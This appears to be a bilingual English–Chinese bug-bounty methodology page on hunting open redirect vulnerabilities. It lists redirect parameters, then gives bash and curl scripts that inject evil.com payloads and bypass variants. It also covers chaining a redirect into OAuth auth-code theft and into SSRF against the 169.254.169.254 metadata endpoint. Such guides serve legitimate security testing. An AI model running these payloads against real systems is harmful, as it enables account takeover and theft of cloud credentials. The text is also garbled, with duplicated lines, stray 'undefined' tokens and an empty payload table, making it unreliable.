hunt-open-redirect
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseHUNT-OPEN-REDIRECT — Open Redirect
HUNT-OPEN-REDIRECT — 开放重定向
Crown Jewel Targets
核心高价值目标
Open redirect alone is Low. Chained to OAuth = Critical (ATO).
Highest-value chains:
- Open redirect → OAuth auth code theft — redirect_uri contains open redirect on trusted domain → auth code sent to attacker → ATO
- Open redirect → phishing — users trust the URL because it starts with target.com
- Open redirect → SSRF escalation — if redirect followed server-side → SSRF
- Open redirect → session fixation — force user to login endpoint with pre-set session
单独利用开放重定向的严重性为 Low。与 OAuth 串联则为 Critical(ATO)。
价值最高的攻击链:
- 开放重定向 → OAuth auth code 窃取 — 受信任域名的 redirect_uri 中包含开放重定向 → auth code 被发送给攻击者 → ATO
- 开放重定向 → 钓鱼攻击 — 由于 URL 以 target.com 开头,用户会信任该 URL
- 开放重定向 → SSRF 升级 — 如果服务端跟随该重定向 → SSRF
- 开放重定向 → session fixation — 强制用户携带预设 session 访问登录端点
Attack Surface Signals
攻击面信号
?redirect=
?next=
?url=
?return=
?returnTo=
?continue=
?dest=
?destination=
?go=
?forward=
?location=
?target=
?redir=
?redirect_uri=
?callback=
?checkout_url=
?success_url=
?cancel_url=
/logout?returnTo=
/login?next=
/sso?callback=?redirect=
?next=
?url=
?return=
?returnTo=
?continue=
?dest=
?destination=
?go=
?forward=
?location=
?target=
?redir=
?redirect_uri=
?callback=
?checkout_url=
?success_url=
?cancel_url=
/logout?returnTo=
/login?next=
/sso?callback=Bypass Table
绕过手法表
| Technique | Payload |
|---|---|
| Basic | |
| Protocol relative | |
| Backslash bypass | |
| At-sign confusion | |
| Double slash | |
| URL encoding | |
| Null byte | |
| Whitespace | |
| JavaScript URI | |
| Data URI | |
| Subdomain | |
| Fragment | |
| 技术 | 载荷 |
|---|---|
| 基础 | |
| 协议相对 URL | |
| 反斜杠绕过 | |
| @ 符号混淆 | |
| 双斜杠 | |
| URL 编码 | |
| 空字节 | |
| 空白字符 | |
| JavaScript URI | |
| Data URI | |
| 子域名 | |
| 片段标识 | |
Step-by-Step Hunting Methodology
分步排查方法
Phase 1 — Discover Redirect Parameters
阶段 1 — 发现重定向参数
bash
undefinedbash
undefinedExtract all redirect candidates from crawl
Extract all redirect candidates from crawl
cat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt
wc -l recon/$TARGET/redirect-candidates.txt
cat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt
wc -l recon/$TARGET/redirect-candidates.txt
Less common param names
Less common param names
grep -E "(?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)"
recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt
recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt
undefinedgrep -E "(?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)"
recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt
recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt
undefinedPhase 2 — Basic Test
阶段 2 — 基础测试
bash
COLLAB="https://evil.com"
cat recon/$TARGET/redirect-candidates.txt | qsreplace "$COLLAB" | while read url; do
LOC=$(curl -s -I --max-redirs 0 "$url" | grep -i "^location:")
STATUS=$(curl -s -o /dev/null -w "%{http_code}" --max-redirs 0 "$url")
[ -n "$LOC" ] && echo "$STATUS | $LOC | $url"
donebash
COLLAB="https://evil.com"
cat recon/$TARGET/redirect-candidates.txt | qsreplace "$COLLAB" | while read url; do
LOC=$(curl -s -I --max-redirs 0 "$url" | grep -i "^location:")
STATUS=$(curl -s -o /dev/null -w "%{http_code}" --max-redirs 0 "$url")
[ -n "$LOC" ] && echo "$STATUS | $LOC | $url"
donePhase 3 — Bypass Techniques
阶段 3 — 绕过技术
bash
BASE_URL="https://$TARGET/redirect?url="
PAYLOADS=(
"https://evil.com"
"//evil.com"
"/\\evil.com"
"https://$TARGET@evil.com"
"https://evil.com%23.$TARGET"
"https://evil.com%09"
)
for P in "${PAYLOADS[@]}"; do
LOC=$(curl -s -I --max-redirs 0 "${BASE_URL}${P}" | grep -i "^location:")
echo "$P → $LOC"
donebash
BASE_URL="https://$TARGET/redirect?url="
PAYLOADS=(
"https://evil.com"
"//evil.com"
"/\\evil.com"
"https://$TARGET@evil.com"
"https://evil.com%23.$TARGET"
"https://evil.com%09"
)
for P in "${PAYLOADS[@]}"; do
LOC=$(curl -s -I --max-redirs 0 "${BASE_URL}${P}" | grep -i "^location:")
echo "$P → $LOC"
donePhase 3b — DOM-based open redirect (client-side sink)
阶段 3b — 基于 DOM 的开放重定向(客户端 sink)
Server-side grepping misses redirects that happen purely in JS. Source (//) assigned to a navigation sink.
Location:location.hashlocation.searchdocument.referrerbash
grep -rEn "location *=|location\.(href|assign|replace)\(|window\.open\(" recon/$TARGET/ --include="*.js" \
| grep -iE "location\.(hash|search)|URLSearchParams|getParameter|referrer"服务端对 进行 grep 会遗漏完全由 JS 触发的重定向。源值(//)会被赋给导航 sink。
Location:location.hashlocation.searchdocument.referrerbash
grep -rEn "location *=|location\.(href|assign|replace)\(|window\.open\(" recon/$TARGET/ --include="*.js" \
| grep -iE "location\.(hash|search)|URLSearchParams|getParameter|referrer"Confirm in a browser (curl can't): open https://$TARGET/page#https://evil.com (or ?url=...)
Confirm in a browser (curl can't): open https://$TARGET/page#https://evil.com (or ?url=...)
Common shape: var u=new URLSearchParams(location.search).get('url'); location=u;
Common shape: var u=new URLSearchParams(location.search).get('url'); location=u;
(PortSwigger: DOM-based open redirection.)(PortSwigger:基于 DOM 的开放重定向。)Phase 4 — OAuth Chain Test
阶段 4 — OAuth 链式测试
bash
undefinedbash
undefinedIf target has OAuth, check if redirect_uri accepts open redirect
If target has OAuth, check if redirect_uri accepts open redirect
grep -i "oauth|authorize|redirect_uri" recon/$TARGET/urls.txt | head -20
grep -i "oauth|authorize|redirect_uri" recon/$TARGET/urls.txt | head -20
Construct OAuth URL with open redirect as redirect_uri
Construct OAuth URL with open redirect as redirect_uri
Normal: redirect_uri=https://target.com/callback
Normal: redirect_uri=https://target.com/callback
Attack: redirect_uri=https://target.com/redirect?url=https://evil.com
Attack: redirect_uri=https://target.com/redirect?url=https://evil.com
OAUTH_URL="https://$TARGET/oauth/authorize"
curl -sv "$OAUTH_URL?response_type=code&client_id=CLIENT_ID&redirect_uri=https://$TARGET/redirect%3Furl%3Dhttps%3A%2F%2Fevil.com" 2>&1 | grep -i "location:"
undefinedOAUTH_URL="https://$TARGET/oauth/authorize"
curl -sv "$OAUTH_URL?response_type=code&client_id=CLIENT_ID&redirect_uri=https://$TARGET/redirect%3Furl%3Dhttps%3A%2F%2Fevil.com" 2>&1 | grep -i "location:"
undefinedPhase 5 — Server-Side Redirect (SSRF escalation)
阶段 5 — 服务端重定向(SSRF 升级)
bash
undefinedbash
undefinedIf the app fetches the redirect target server-side (302 fetch follow)
If the app fetches the redirect target server-side (302 fetch follow)
curl -s "https://$TARGET/proxy?url=https://evil.com/redirect-to-169.254.169.254/latest/meta-data/"
curl -s "https://$TARGET/proxy?url=https://evil.com/redirect-to-169.254.169.254/latest/meta-data/"
Or: if app makes HTTP request to the redirect destination
Or: if app makes HTTP request to the redirect destination
curl -s "https://$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/"
-H "Cookie: $SESSION"
-H "Cookie: $SESSION"
---curl -s "https://$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/"
-H "Cookie: $SESSION"
-H "Cookie: $SESSION"
---Automation
自动化
bash
undefinedbash
undefinedopenredirex
openredirex
pip3 install openredirex
openredirex -l recon/$TARGET/redirect-candidates.txt -p evil.com
pip3 install openredirex
openredirex -l recon/$TARGET/redirect-candidates.txt -p evil.com
nuclei
nuclei
nuclei -u https://$TARGET -t redirect/ -severity medium,high
nuclei -u https://$TARGET -t redirect/ -severity medium,high
gf + qsreplace
gf + qsreplace
cat recon/$TARGET/urls.txt | gf redirect | qsreplace "https://evil.com" |
xargs -I{} curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" --max-redirs 0 {}
xargs -I{} curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" --max-redirs 0 {}
---cat recon/$TARGET/urls.txt | gf redirect | qsreplace "https://evil.com" |
xargs -I{} curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" --max-redirs 0 {}
xargs -I{} curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" --max-redirs 0 {}
---Chain Table
攻击链表
| Open redirect finding | Chain to | Impact |
|---|---|---|
| Any open redirect | OAuth redirect_uri bypass | Auth code theft → ATO |
| Any open redirect | Phishing URL with target domain | Social engineering |
| Server-side redirect | SSRF via followed redirect | Internal service access |
| Logout redirect | Session fixation | Force login with known session |
| 开放重定向发现 | 串联目标 | 影响 |
|---|---|---|
| 任何开放重定向 | OAuth redirect_uri 绕过 | auth code 窃取 → ATO |
| 任何开放重定向 | 使用目标域名的钓鱼 URL | 社会工程 |
| 服务端重定向 | 通过跟随重定向利用 SSRF | 内部服务访问 |
| 注销重定向 | session fixation | 使用已知 session 强制登录 |
Validation
验证
✅ Location header in response points to evil.com (your controlled domain)
✅ Browser follows redirect to attacker-controlled page
Severity:
- Redirect alone: Low (most programs)
- Chains to OAuth code theft → ATO: High/Critical
- Chains to phishing with brand name: Low-Medium
- Server-side → SSRF: High
✅ 响应中的 Location 响应头指向 evil.com(由你控制的域名)
✅ 浏览器跟随重定向进入攻击者控制的页面
严重性:
- 仅开放重定向:Low(大多数漏洞赏金计划)
- 串联至 OAuth code 窃取 → ATO:High/Critical
- 串联至使用品牌名称的钓鱼攻击:Low-Medium
- 服务端重定向 → SSRF:High